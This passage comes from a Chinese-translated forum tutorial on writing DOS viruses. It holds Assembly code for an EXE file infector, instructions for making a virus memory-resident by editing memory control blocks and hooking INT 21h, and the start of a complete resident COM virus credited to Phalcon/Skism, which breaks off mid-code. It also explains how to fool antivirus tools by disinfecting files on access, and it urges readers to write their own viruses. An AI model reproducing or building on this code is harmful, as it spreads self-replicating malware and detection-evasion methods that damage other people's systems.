adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
mov word ptr [bp+readbuffer+4], dx ; the EXE header
;---------------------------------------------------------------------------
; 解释:
; Yeeeha!一些很酷的数学运算!首先我们要做的是恢复文件大小。然后,我们
; 加上病毒的大小。这一大段代码的许多运算是计算感染后的文件头中的文件大小
; 并化成512进制的形式。假设我们有一个513字节的文件,那么这里我们将得到
; 2,余数1。最后的指令把计算得到的结果写到文件头中。
;---------------------------------------------------------------------------
pop bx ; restore file handle
mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
int 0021h
xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;---------------------------------------------------------------------------
; 解释:
; 这一段我们添加病毒主体,然后把文件指针移到文件头。现在我们写上新的文件头
; ,并把计数器加1。
;---------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;---------------------------------------------------------------------------
; 解释:
; 上面的代码我们已经看过了。没有?看看COM文件感染部分。
;---------------------------------------------------------------------------
signature db "[PS/G齗",0 ; Phalcon/Skism G?
EXEmask db "*.EXE",0
dot_dot db "..",0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;---------到这里为止剪切-----------------------------------------------------
是不是讲了太多啦?Ok,我知道我必须说一件事。当你理解了感染COM和EXE文件的
概念之后,你的知识将以光的速度增长那些运行期病毒是过时的病毒没关系,重要的是概
念。(译者注:这也是我翻译此教程的目的.) 当你对所有这些都看懂之后,那你可以随心
所欲地编写病毒了。
我们要停一会儿时间了。下面介绍几个更有用的理论知识。
返回顶端
onlyu
侠客
年龄:24
十二宫图:
加入时间: 2003/11/20
文章: 23
Points: 30
时间: 2004-2-10 周二, 下午6:28 标题: go on............
------------------------------------------------------------------------------
--
【有用的结构体】
~~~~~~~~~~~~~~
现在介绍我们已经讨论了很多的PSP。
%PSP(Program Segment Prefix)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PSP结构如下:
___________________________________
| INT 20h(CD 20) |<------+0000h
|___________________________________| Size:1 WORD
| Pointer to the next segment |<------+0002h
|___________________________________| Size:1 WORD
| Reserved |<------+0004h
|___________________________________| Size:1 BYTE
| Far call to INT 21h |<------+0005h
|___________________________________| Size:5 BYTES
| Saved INT 22h vector |<------+000Ah
|___________________________________| Size:1 DWORD
| Saved INT 23h vector |<------+000Eh
|___________________________________| Size:1 DWORD
| Saved INT 24h vector |<------+0012h
|___________________________________| Size:1 DWORD
| Reserved |<------+0016h
|___________________________________| Size:22 BYTES
| Offset to Environment Segment |<------+002Ch
|___________________________________| Size:1 WORD
| Reserved |<------+002Eh
|___________________________________| Size:46 BYTES
| First default FCB |<------+005Ch
|___________________________________| Size:16 BYTES
| Second default FCB |<------+006Ch
|___________________________________| Size:16 BYTES
| Command Tail and default DTA |<------+0080h
|___________________________________| Size:180 BYTES
Total Size:256 BYTES
因为这个结构非常重要,让我一步一步地解释吧。
offset 0000h:
INT 20h是终止程序的过时的方法,现在我们使用INT 21h的4CH号函数。
offset 0002h:
这是pointer to the next segment,这个指针指向我们程序的下一段。我们利用它
可以知道DOS 能给我们多少内存(它指向的偏移地址减去PSP的偏移地址0000)。它将以段返
回给我们内存,所以我们必须把它乘以16来得到字节数。
offset 0005h:
这是调用INT 21h的一种奇特方式。而且,当然,我们可以利用它来达到我们的目的
。这个函数用到CL而不是AH,而且我们只能在低于24h时调用这个函数。我将在TUNNELING
这一章里介绍更多。
offset 000Ah:
这里存储的是原先的INT 22h中断向量。INT 22h当程序使用如下方法终止执行时接受
控制:
- INT 20h
- INT 27h
- INT 21h(00h,21h,4Ch函数)
offset 000Eh:`
这里存储另一个中断的向量,INT 23h。这个中断处理CTRL+C按键组合。
offset 0012h:
存储在这里的另外一个中断,INT 24h。这个中断处理严重错误。这种类型错误的例子
:当你的软驱里面没有软盘,或者软盘被写保护了。
offset 002Ch:
这里是环境块偏移地址的开始。
offset 005Ch:
这里存储第一个缺省FCB(File Control Block文件控制块)。这种访问文件的方式通常
情况下不会被程序使用(在这里是为了和低版本的DOS兼容),但是病毒作者为了使病毒更隐
蔽,经常使用它。你可以在FCB结构里看到更多的信息。
offset 006Ch:
同上,这是第二个缺省FCB。
Offset 0080h:
这一段有两个功能:
----存储命令尾(command tail)
---存储DTA的缺省文件缓冲区
这两个功能不能同时使用,所以我们开始一个程序要考虑的第一件事就是命令尾(com
mand tail)。如果我们需要它,我建议你把它保存到一个安全的地方(我们代码中的一个变
量中)。命令尾的第一个字节(80h)约束了它的长度,而且这里,它保存了真正的参数。DT
A的结构将会在这一章中介绍。
%FCB(File Control Block 文件控制模块)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
现在有两种类型的FCB:普通和扩展类型。下面给出普通FCB:
________________________________
| Drive Letter(0=actual,1=A...) |<----+0000h
|________________________________| Size:1 BYTE
| Blank padded file name |<----+0001h
|________________________________| Size:8 BYTES
| Blank padded file extension |<----+0009h
|________________________________| Size:3 BYTES
| Current block number |<----+000Ch
|________________________________| Size:1 WORD
| Logical record size |<----+000Eh
|________________________________| Size:1 WORD
| File size |<----+0010h
|________________________________| Size:1 DWORD
| File date |<----+0014h
|________________________________| Size:1 WORD
| File time |<----+0016h
|________________________________| Size:1 WORD
| Reserved |<----+0018h
|________________________________| Size:8 BYTES
| Record within current block |<----+0020h
|________________________________| Size:1 BYTE
| Record access record number |<----+0021h
|________________________________| Size:1 DWORD
Total Size:37 BYTES
而在一个扩展FCB中,上面所有的偏移地址会向后移7个字节,而开始的7个字节如下:
_____________________________________
| FF(Signature for extended FCB) |<---- -0007h
|_____________________________________| Size:1 BYTE
| Reserved |<---- -0006h
|_____________________________________| Size:5 BYTES
| File attribute |<---- -0001h
|_____________________________________| Size:1 BYTE
Total Size:44 BYTES
检测FCB是普通的还是扩展的方法是看FCB 的第一个字节是否为FFh。如果是,那么就
为扩展FCB,否则就为普通FCB。
有一种隐蔽病毒(STEALTH)方法就是改变FCB的某些值,我们将会在STEALTH一章里具体
讨论。
%MCB(Memory Control Block 内存控制模块)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我们将在驻留内存病毒这一章介绍它(下一章)。下面给出MCB:
___________________________________
| ID(Z=last,M=there're more) |<----+0000h
|___________________________________| Size:1 BYTE
| Address of associated PSP |<----+0001h
|___________________________________| Size:1 WORD
| Number of paras in allocated mem |<----+0003h
|___________________________________| Size:1 BYTE
| Unused |<----+0005h
|___________________________________| Size:11 BYTES
| Block Name |<----+0008h
|___________________________________| Size:8 BYTES
| Zone of allocated memory |<----+0010h
|___________________________________| Size:?? PARAS
Total Size: VARIABLE
%DTA(Disk Transfer Area 磁盘交换区)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在病毒写作中这个结构非常重要。让我们看:
___________________________________
| Drive Letter(equal than above) |<----+0000h
|___________________________________| Size: 1 BYTE
| Search Template |<----+0001h
|___________________________________| Size: 11 BYTES
| Reserved |<----+000Ch
|___________________________________| Size: 9 BYTES
| File attribute |<----+0015h
|___________________________________| Size: 1 BYTE
| File time |<----+0016h
|___________________________________| Size: 1 WORD
| File date |<----+0018h
|___________________________________| Size: 1 WORD
| File size |<----+001Ah
|___________________________________| Size: 1 DWORD
| ASCIIZ Filename+extention |<----+001Eh
|___________________________________| Size: 13 BYTES
Total Size: 43 BYTES
原始DTA保存在PSP的偏移地址80h处。我们可以利用INT 21h的1Ah功能保存它。
%IVT(Interrupt Vector Table中断向量表)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个并不是“真正的”结构体。恩...让我解释一下吧...IVT是保存所有中断向量的地
方(哇,天才啊!)。所有的中断向量的位置为number_of_interrupt*4(中断号*4)。假如我
们想把INT 21h中断向量赋给DS:DX...则:
xor ax,ax
mov ds,ax
lds dx,ds:[21h*4]
为什么我们清除DS?因为IVT是从地址0000:0000开始到高地址内存的。这种操作(不
通过使用DOS)是获得/赋给一个中断的向量的直接方法。有关更多的介绍将在驻留内存病毒
(RESIDENT VIRUSES)一章中介绍。嗨...我忘记了示意图了
__________________________________
| INT 00h vector |<-----+0000h
|__________________________________| Size:1 DWORD
| INT 01h vector |<-----+0004h
|__________________________________| Size:1 DWORD
|
////////////////////////////////////
|__________________________________
| INT FEh vector |<-----+03FCh
|__________________________________| Size:1 DWORD
| INT FFh vector |<-----+0400h
|__________________________________| Size:1 DWROD
Total Size:1024 BYTES
你能想象得到“断”行表示有256个中断,我不得不优化这篇教程(我可不想花5页来表
示它!)
%SFT(System File Table 系统文件表)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个结构真得很酷。它能帮助你使你的代码更健壮,更优化。它类似于FCB,但是,正
如你看到的,它更强大。利用这个表,我们可以使病毒更隐蔽,改变文件指针的打开模式
,属性...这里你看到的使DOS 4以上版本的结构(我相信在这个世界上已经没有人用DOS 3
或更低了吧)。好了,如果你想为DOS 3编写代码,可以参考Ralph Brown的中断列表。但是
DOS 3的SFT是和下面的非常类似的。重要的值在相同的地方
===================================== <----+0000h
‖ Pointer to next file table ‖ Size:1 DWORD
‖===================================‖<----+0004h
‖ Number of files in this table ‖-----------Size:1 WORD----------
‖===================================‖<----+0000h [3Bh bytes per file]
| Number of file handles of file | Size:1 WORD
|___________________________________|
| File open mode(AH=3Dh) |<-----+0002h
|___________________________________| Size:1 WORD
| File attribute |<-----+0004h
|___________________________________| Size:1 BYTE
| Device info block(AX=4400h) |<-----+0005h
|___________________________________| Size:1 WORD
| If char device points next dev h. |<-----+0007h
| else point to DOS DPB | Size:1 DWORD
|___________________________________|
| Starting cluster of file |<-----+000Bh
|___________________________________| Size:1 WORD
| File time |<-----+000Dh
|___________________________________| Size:1 WORD
| File date |<-----+000Fh
|___________________________________| Size:1 WORD
| File size |<-----+0011h
|___________________________________| Size:1 DWORD
| Current offset in file |<-----+0015h
|___________________________________| Size:1 DWORD
| Relative cluster within file of |<-----+0019h----------[If Local File]
| last cluster accessed | Size:1 WORD
|___________________________________|
| Number of sector with dir entry |<-----+001Bh
|___________________________________| Size:1 DWORD
| Number of dir entry within sector |<-----+001Fh
|___________________________________| Size:1 BYTE
| Pointer to REDIRIFS records |<-----+0019h----[Network redirector]
|___________________________________| Size:1 DWORD
| ??? |<-----+001Dh
|___________________________________|--------Size:3 BYTES--------
| Filename in FCB format |<-----+0020h
|___________________________________| Size:11 BYTES
| Pointer to prev SFT sharing file* |<-----+002Bh
|___________________________________| Size:1 DWORD
| Network machine num opened file* |<-----+002Fh
|___________________________________| Size:1 WORD
| PSP segment of file owner |<-----+0031h
|___________________________________| Size:1 WORD
| Offset to code segment of rec* |<-----+0033h
|___________________________________| Size:1 WORD
| Absolute clust num of last access |<-----+0035h
|___________________________________| Size:1 WORD
| Pointer to IFS driver for file |<-----+0037h
|___________________________________| Size:1 DWORD
Total Size:61 BYTES
Uhm...我忘记访问SFT的方法了...下面给出的程序把SFT赋给ES:DI,把文件句柄保
存到BX中。
GetSFT:
mov ax,1220h
int 2Fh
jc BadSFT
xor bx,bx
mov ax,1216h
mov bl,byte ptr es:[di]
int 2Fh
BadSFT:
ret
我强烈地建议你把返回值保存到AX/BX中(BX非常重要:这里我们用来保存文件句柄)。
标志(*)的域将会被SHARE.EXE使用
%DIB(DOS Info Block DOS信息模块)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
利用DIB,我们能够访问那些重要的不能利用其它方法访问结构。这个结构并不是固定
的在内存中的,我们必须利用INT 21h的52h功能。在DOS文档里没有这个函数的介绍。当我
们调用这个函数的时候,我们将会在ES:BX里得到DIB的地址。你将会得到:
___________________________________
| Pointer to first MCB |<---- -0004h
|___________________________________| Size:1 DWORD
| Pointer to first DPB |<-----+0000h
|___________________________________| Size:1 DWORD
| Pointer to DOS last buffer |<-----+0004h
|___________________________________| Size:1 DWORD
| Pointer to $CLOCK |<-----+0008h
|___________________________________| Size:1 DWORD
| Pointer to CON |<-----+000Ch
|___________________________________| Size:1 DWORD
| Maximum sector length |<-----+0010h
|___________________________________| Size:1 WORD
| Pointer to DOS first buffer |<-----+0012h
|___________________________________| Size:1 DWORD
| Pointer to array of cur dir struc |<-----+0016h
|___________________________________| Size:1 DWORD
| Pointer to SFT |<-----+001Ah
|___________________________________| Size:1 DWORD
Total Size:34 BYTES
%DPB(Drive Parameter Block 驱动器参数模块)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个结构为我们提供了达到我们的目的的非常有用的信息。通过使用DIB(看上文)里的
第二个指针,我们能够知道它的位置。下面给出:
___________________________________
| Drive Letter(0=A,1=B...) |<----+0000h
|___________________________________| Size:1 BYTE
| Unit number within device driver |<----+0001h
|___________________________________| Size:1 BYTE
| Bytes per sector |<----+0002h
|___________________________________| Size:1 WORD
| Highest sect num within a cluster |<----+0004h
|___________________________________| Size:1 BYTE
| Shift count for clust to sectors |<----+0005h
|___________________________________| Size:1 BYTE
| Number of reserved clusters |<----+0006h
|___________________________________| Size:1 WORD
| Number of FATS |<----+0008h
|___________________________________| Size:1 BYTE
| Number of root directory entries |<----+0009h
|___________________________________| Size:1 WORD
| Number of first sector with data |<----+000Bh
|___________________________________| Size:1 WORD
| Number of last sector with data |<----+000Dh
|___________________________________| Size:1 WORD
| Number of sector per FAT |<----+000Fh
|___________________________________| Size:1 BYTE
| Sector number of first dir sector |<----+0010h
|___________________________________| Size:1 WORD
| Address of device driver header |<----+0012h
|___________________________________| Size:1 DWORD
| Media ID byte |<----+0016h
|___________________________________| Size:1 BYTE
| 00h if disk accessed,else FFh |<----+0017h
|___________________________________| Size:1 BYTE
| Pointer to next DPB |<----+0018h
|___________________________________| Size:1 DWORD
Total Size:28 BYTES
%分区表%
~~~~~~~~
所有编写启动病毒的人都知道这个结构,它是硬盘上的第一块。它总是在第一块的,
无论在软盘还是在硬盘上。如果是硬盘,我们就叫它MBR(Master Boot Record 主启动记录
),如果是软盘,就叫它启动扇区。
分区表是一个有着四个入口的数组,在偏移地址01BEh处。下面给出每个入口的格式:
___________________________________
| Boot indicator(Bootable=80h, |<----+0000h
| Non bootable 00h) | Size:1 BYTE
|___________________________________|
| Head where the partition begins |<----+0001h
|___________________________________| Size:1 BYTE
| Sector where the partition begins |<----+0002h
|___________________________________| Size:1 BYTE
| Cylinder where the part.begins |<----+0003h
|___________________________________| Size:1 BYTE
| System indicator*(What OS?) |<----+0004h
|___________________________________| Size:1 BYTE
| Head where partition ends |<----+0005h
|___________________________________| Size:1 BYTE
| Sector where the partition ends |<----+0006h
|___________________________________| Size:1 BYTE
| Cylinder where the partition ends |<----+0007h
|___________________________________| Size:1 BYTE
| Total blocks preceding partition |<----+0008h
|___________________________________| Size:1 DWORD
| Total blocks in the partition |<----+000Ch
|___________________________________| Size:1 DWORD
Total Size:16 BYTES
(*) 01=12-bit FAT
04=16-bit FAT
%BPB(Bios Parameter Block Bios 参数模块)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在以DOS为基础的系统中,启动记录以一个跳转(jump)作为开始,后面跟这一个结构
体——BPB。
_________________________________
| OEM name and version(ASCII) |<----+0000h
|_________________________________| Size:8 BYTES
| Bytes per sector |<----+0008h
|_________________________________| Size:1 WORD
| Sectors per cluster |<----+000Dh
|_________________________________| Size:1 BYTE
| Reserved sector(starting at 0) |<----+000Eh
|_________________________________| Size:1 WORD
| Number of FATs |<----+0010h
|_________________________________| Size:1 BYTE
| Total sectors in partition |<----+0011h
|_________________________________| Size:1 WORD
| Media descriptor |<----+0013h
|_________________________________| Size:1 WORD
| Sectors per FAT |<----+0015h
|_________________________________| Size:1 BYTE
| Sectors per track |<----+0017h
|_________________________________| Size:1 WORD
| Number of heads |<----+0019h
|_________________________________| Size:1 WORD
| Number of hidden sectors |<----+001Dh
|_________________________________| Size:1 WORD
Total Size:29 BYTES
【更多的酷病毒:驻留内存病毒(RESIDENT viruses)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你已经读到这里,而且你还活着,那你将会从这里走向光明
下面开始有趣的东西给你读,让我写了。
%什么是驻留内存程序?%
~~~~~~~~~~~~~~~~~~~~~~
好了,首先我给你介绍的是相反的情况
当我们执行一个非驻留内存程序(如edit之类的普通程序)时,DOS会给它分配确定的内
存,但是这段内存在程序终止的时候将会被重新分配(利用INT 20h,或者INT 21h如著名的
4Ch)。
而一个驻留内存程序执行的时候和一般的程序一样,但是它在程序终止的时候将会留
一段程序在内存中,不会被重新分配。驻留内存程序(也叫TSR = Terminate and Stay Re
sident ) ,通常会代替某些中断,写上它自己的代码,来执行它们设计的任务。TSR程序有
什么用途呢?我们可以用来破解(偷取口令),编我们自己酷工具...当然所有这些取决于你
的想象力啦。当然,我也没忘记...编写驻留内存程序
%一个TSR病毒将会做什么?%
~~~~~~~~~~~~~~~~~~~~~~~~
TSR并不是调用驻留在内存中的病毒的最好的方法。假如你正在执行某个程序,并且它
返回到DOS。不,我们不能终止它和保持驻留内存。使用者将会注意到有些不对劲。我们必
须返回和保持驻留内存 TSR仅仅是一个缩写(不要用错了,我必须加上这一点)。驻留内存
病毒能提供给我们一个新世界。我们可以编写出能感染更多程序的病毒,更安全...当检测
到有企图打开/读文件的操作我们可以给文件杀毒(想象一下,查杀毒工具将会什么也发现
不了),我们可以hook查杀毒工具所要使用的函数来欺骗它们,我们可以减去病毒的大小以
逃过外行的眼睛(当然也包括专家的啦)。
;--------从这儿开始剪切----------------------------------------------------
; 这个程序将会检测它是不是已经在内存中了,如果已经在内存中了,它将会给我们提
; 示信息。如果没有,它将会驻留到内存中,并显示另外一个信息。
.model tiny
.code
org 100h
start:
jmp fuck
newint21:
cmp ax,0ACDCh ; Are user caliing our function?
je is_check ; If yes, answer the call
jmp dword ptr cs:[oldint21] ; Else jump to original int 21
is_check:
mov ax,0DEADh ; We answer it
iret ; And make an interrupt return
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
fuck:
mov ax,0ACDCh ; Residence check
int 21h ; Invented function, of course
cmp ax,0DEADh ; Are we here?
je stupid_yes ; If yes, show message 2
mov ax,3521h ; If not, we go and install
int 21h ; Function for get INT 21h vectors
mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0
mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2
mov ax,2521h ; Function for put new int 21 handler
mov dx,offset newint21 ; where is it located
int 21h
mov ax,0900h ; Show message 1
mov dx,offset msg_installed
int 21h
mov dx,offset fuck+1 ; Make resident from offset 0 until
int 27h ; offset in dx using int 27h
; This will also terminate program<g>
stupid_yes:
mov ax,0900h ; Show message 2
mov dx,offset msg_already
int 21h
int 20h ; Terminate program.
msg_installed db "Stupid Resident not installed. Installing...$"
msg_already db "Stupid Resident is alive and kicking your ass!$"
end start
;-----到这儿为止剪切-----------------------------------------------------
这个小例子不能被用来编写一个病毒...为什么呢?INT 27h,当把一个程序放到内存
中后,就会终止当前的程序。把代码放到内存中,利用INT 20h或其它任何方法来终止当前
程序的执行也是一样。
那么...我们该利用什么来编写一个病毒呢?
%TSR病毒算法%
我们可以按如下步骤(模仿在病毒编写中很好...):
1.检查程序是否已经驻留内存(是,跳到5;否,继续)
2.开辟我们所需要的内存
3.复制病毒主体到内存中
4.获得中断向量,保存它们并用我们的代替
5.恢复目标文件
6.返回控制权
%驻留内存检测%
~~~~~~~~~~~~~~
当我们编写一个驻留内存程序时,我们必须至少检查一次看看我们的程序是否已被安
装了。通常,它是一个创造函数,当我们调用它,这个函数给我们返回一个确定的值(当然
是我们选择的了)或者如果它没有驻留内存,它使AL=00。
让我们看一个例子:
mov ax,0B0B0h
int 21h
cmp ax,0CACAh
je already_installed
[...]
如果它已经驻留内存了,我们就恢复感染的文件,并把控制权返回给原来的程序。如
果没有驻留内存,我们就把它驻留内存。INT 21h 对病毒的处理将会如下:
int21handler:
cmp ax,0B0B0h
je install_check
[...]
db 0EAh
oldint21:
dw 0,0
install_check:
mov ax,0CACAh
iret
%分配内存修改MCB%
~~~~~~~~~~~~~~~~~
开辟内存用得最多的就是MCB(Memory Control Block)。有两个方法来达到这个目的:
使用DOS和直接实现。看到每种方法都这么痛苦,让我们看看什么是MCB。
内存控制模块(MCB)是由DOS建立的每个程序使用的控制块。这个模块的长度是一段(1
6字节),它总是在分配内存之前分配。啊!个数总能被16整除。如果是一个COM文件,我们
可以利用程序的代码段减1(CS-1)得到MCB的位置,如果是EXE文件,则利用DS(记住,在EX
E文件中,CS<>DS)。你可以在结构体一章查看MCB的结构(在上一章我们已经看过了)。
使用DOS修改MCB:
在我写的第一个病毒Antichrist Superstar中,我使用的方法简单而有效。首先,我
们请求DOS对所有的内存(BX=FFFFh)使用INT 21h的4Ah功能,这是一个很难达到的值。通过
这个功能,我们将会看到我们申请了太多的内存,所以,在BX中我们将会得到我们所能使
用的所有内存。所以我们把这个值减去病毒代码的长度的段数(((size+15)/16)+1)然后再
次调用4Ah功能。现在该是把自由内存减去我们想要的内存数的时候了。我们可以利用"su
b word ptr ds:[2],(size+15)/16+1",然后利用BX中的以段为基数的代码长度,调用DOS
的48h功能。这个将会把开辟的块的段返回到AX中,所以我们把它放到ES中,把AX减1,并
把新值赋给DS。现在我们在DS中得到了MCB,所以我们该操作它了。我们必须赋给DS:[0]字
节"Z"或者"M"(依赖于你的需要,参阅MCB结构),在DS:[1]里是字0008,为了告诉DOS这个
块是它自己的,然后它不会覆盖它。
Arf,Arf...在这么一大段理论之后,一些代码将是多么好啊。下面的代码将会按你的
需要配置MCB:
mov ax,4A00h ; Here we request for an impossible
mov bx,0FFFFh ; amount of free memory
int 21h
mov ax,4A00h ; And we substract the virus size in
sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
int 21h ; ( in BX ) and request for space.
mov ax,4800h ; Now we make DOS substract 2 da free
sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
mov bx,(virus_size+15)/16 ; paragraphs
int 21h
mov es,ax ; In AX we get the segment of our
dec ax ; memory block ( doesn't care if EXE
mov ds,ax ; or COM ), we put in ES, and in DS
; ( substracted by 1 )
mov byte ptr ds:[0],"Z" ; We mark it as last block
mov word ptr ds:[1],08h ; We say DOS the block is of its own
相当简单而有效...然而,这仅仅是操作内存,它不能把你的代码移到内存中去。这
非常简单,但是我们将会在后面看到。
直接修改MCB:
这种方法方式基本上差不多,但是达到我们不得的方法不同。使得这种方法更好的原
因是利用这种方法:一个TSR病毒查杀监视程序不会知道任何内存操作因为我们没有使用任
何中断
我们所做的第一件事是把DS赋给AX(因为我们利用段不能做任何事),我们把它减1,然
后再把它赋给DS。现在DS指向MCB。如果你还记得MCB的结构,在偏移地址3处,我们将会得
到当前内存的段数。所以我们需要把这个值减去我们打算使用的内存数。我们将要使用BX
(为什么不?)如果我们看一下过去的介绍,我们将会记起MCB在PSP的上面16字节处。所有
的PSP偏移地址要向后移16(10h)字节。我们需要改变TOM的值,在PSP的偏移地址2处,但是
现在我们不会指向PSP,我们要指向MCB。我们能做的是什么呢?我们使用偏移地址12h(2+
16=18=12h),而不使用偏移地址2。我们把它减去所需内存的节数(记住,病毒的大小+15除
以16)。这个偏移地址的新值是我们程序的新段,并且我们在一个新段中要使用它。我们打
算使用附加段(ES)。但是我们可以对ES和这个位置(也就是段操作的限制)进行mov操作。我
们必须要使用一个暂时的寄存器(temporal rigister)。AX最好不过了。现在我们标志ES:
[0] "Z"(在我们把DS作为段寄存器处理之前),ES:[1] 8。
介绍完这些总是烦人的理论之后,下面是代码:
mov ax,ds ; DS = PSP
dec ax ; We use AX as temporal register
mov ds,ax ; DS = MCB
mov bx,word ptr ds:[03h] ; We put in BX the amount of memory
sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change
mov word ptr ds:[03h],bx ; We put it in its original place
mov byte ptr ds:[0],"M" ; Mark as not last block
sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
; to TOM size
mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg.
mov es,ax ; And we need AX for put it in ES
mov byte ptr es:[0],"Z" ; Mark as last block
mov word ptr es:[1],0008h ; Mark DOS as owner
%把病毒放到内存中%
~~~~~~~~~~~~~~~~~~
在驻留内存病毒的编写中,这是最简单的。如果你知道我们使用MOVSB这个指令(当然
还有MOVSW,MOVSD...)能做什么,那你就知道由多简单了。而我们必须做的是确定移动什么
和移动多少数据。这相当简单,可以想象,要移动的数据的开始总是等于偏移地址的变化
量,假如我们已经把偏移地址的变化量赋给BP,我们所要做的所有事情就是把BP的内容赋
给SI,并把病毒的大小以字节的形式赋给CX(或者如果我们想用MOVSW就以字的形式)。记住
DI必须为0,使用xor di,di就足够了(一种使指令mov di,0的优化方法)。让我们来看代码
...
push cs ; Adjust segments
pop ds ; CS = DS
xor di,di ; DI = 0 ( Top Of Memory )
mov si,bp ; SI = offset virus_start
mov cx,virus_size ; CX = virus_size
rep movsb ; Move bytes from DS:SI to ES:DI
%钩住中断(Hooking interrupts)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在把我们的病毒移入内存之后,我们需要修改它使得至少能感染其它文件。在所有的
驻留内存病毒中,通常是INT 21h,但是在一个启动扇区病毒(或者分成多部分还感染软盘
和MBR的病毒)中,我们还必须钩住INT 13h。我们要钩住的中断取决于我们的需要。有两种
钩住中断的方法:使用DOS或者检测钩子。在编写我们的处理程序时我们必须强调一些东西
:
首先,我们必须在开始处理程序之前使用压栈来保存所有的寄存器的值(标志也要保存
),而且在我们要把控制权返回给原先程序的时候,要把它们所有都出栈。
其次,我们必须记住我们永远不要使用那些已经被我们钩住了的中断,否则我们将会
陷入无限循环。让我们想象一下我们已经钩住了INT 21h的3Dh功能(打开文件),我们调用
这个钩住的功能(或者另外一个我们自己的中断处理程序)...计算机将会挂机了。为此,我
们应该按照如下方法假调用INT 21h:
CallINT21h:
pushf
call dword ptr cs:[oldint21]
iret
我们还能做另外一件事情。我们能够重定向另外一个中断,使它指向旧的INT 21h。一
个好的选择看上去是INT 03h:它是一个好的反调试的花招,使得我们的代码更小(INT 03h
的编码是CCh,只有一个字节,而普通的中断的编码为CDh XX,XX是我们中断号的十六进制
数),而且我们忘记了调用被钩住的功能的所有问题。当我们要把控制权交给原先的INT 2
1h的时候,最好恢复所有的被钩住的被重定向到INT 21h的中断。
利用DOS钩住中断:
我们必须在放入我们自己的向量之前获得原先中断的向量。这个可以利用INT 21h 的
35h功能来实现。让我们来看一下这个功能的参数:
AH=35h
AL=中断号
调用之后,它将会返回如下值:
AX=Preserved
ES=Interrupt Handler Segment
BX=Interrupt Handler Offset
调用这个功能之后,我们把ES:BX保存到我们的代码的一个变量里,以备后用,并设置
一个新的中断处理句柄。我们必须使用的功能是INT 21h的25h。下面给出参数:
AH = 25h
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset
让我们看看通过使用DOS来实现中断钩子的例子:
push cs ; Adjust segments
pop ds ; CS = DS
mov ax,3521h ; Get interrupt vector function
int 21h
mov word ptr [int21_off],bx ; Now store variables
mov word ptr [int21_seg],es
mov ah,25h ; Put new interrupt
lea dx,offset int21handler ; Offset to new handler
int 21h
[...]
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
直接中断钩子:
如果我们忘记了DOS,我们将赢得我曾经提过的东西(在直接MCB修改中)。你还记得中
断向量表的结构吗?它在0000:0000处开始,到0000:0400h处为止。这里有我们所能使用的
所有中断,从INT 00h到INT FFh。让我们看看一些代码:
xor ax,ax ; Make zero AX
mov ds,ax ; For make zero DS ( now AX=DS=0 )
push ds ; We nned to restore DS later
lds dx,ds:[21h*4] ; All interrupts are in int number*4
mov word ptr es:int21_off,dx ; Where save offset
mov word ptr es:int21_seg,ds ; " " segment
pop ds ; Restore DS
mov word ptr ds:[21h*4],offset int21handler ; The new handler
mov word ptr ds:[21h*4+2],es
%关于驻留内存的最后的讨论%
这并不是这篇教程的最后,我们还要讨论很多病毒呢,所有这些话题将在接下来的讨
论中见到,但是我认为你现在应该知道怎么编写驻留内存病毒了。从现在起到最后的所有
讨论都是有关于TSR病毒的。当然了,如果我说有些是运行期病毒的话,不要尖叫呦!
在结束这一课的时候,我必须给出一个完整的驻留内存病毒。这里我还要使用G病毒,
它是一个很蹩脚的感染COM的病毒。
;-------从这里开始剪切----------------------------------------------------
; 这段代码注释得和运行期病毒一样好。我希望到这里后所有得问题都很清楚了。
; Virus generated by G 0.70
; 作者 Dark Angel 属于Phalcon/Skism
; 汇编:TASM /m3 lame.asm
; 连接: Tlink /t lame.obj
checkres1 = ''
checkres2 = ''
.model tiny
.code
org 0000h
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next ; Get delta offset
push ds
push es
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
